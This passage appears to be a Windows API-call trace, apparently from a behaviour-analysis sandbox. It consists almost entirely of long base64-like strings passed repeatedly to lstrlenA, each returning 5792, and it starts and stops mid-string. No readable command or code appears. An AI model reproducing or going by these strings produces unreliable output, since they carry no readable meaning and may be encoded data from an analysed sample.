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") returned 5792 [0042.887] lstrlenA (lpString="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") returned 5792 [0042.887] lstrlenA (lpString="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") returned 5792 [0042.887] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvq